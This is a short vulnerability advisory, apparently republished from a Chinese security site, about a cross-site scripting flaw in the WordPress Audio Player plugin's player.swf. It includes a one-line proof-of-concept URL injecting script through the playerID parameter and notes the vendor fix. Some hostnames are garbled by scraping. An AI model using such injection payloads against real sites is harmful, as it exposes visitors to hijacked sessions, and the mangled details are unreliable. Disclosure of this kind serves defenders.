WordPress Audio Player Plugin XSS in SWF - 网站安全 -

作者 hip [Insight-Labs]

联系方式t: hip@insight-labs.org | Website: http://insight-labs.org

下载 地址: http://downloads.wordpress.org/plugin/audio-player.2.0.4.6.zip

程序官网: http://wpaudioplayer测试数据/

影响版本: 2.0.4.6 before

简介:

Audio Player is a highly configurable but simple mp3 player for all your audio needs.

————————————————————————————————————————-

# XSS – 测试证明

 

缺陷路径:

/wp-content/plugins/audio-player/assets/player.swf

vulnerabile parameter:playerID

 

POC:

HdhCmsTest2cto测试数据 /wp-content/plugins/audio-player/assets/player.swf?playerID=a\]))}catch(e){alert(1)}//

 

—————— 

Patch:

————

– Vendor released version 2.0.4.6 on 30/01/2013 Fixed the bug

 

查看更多关于WordPress Audio Player Plugin XSS in SWF - 网站安全 -的详细内容...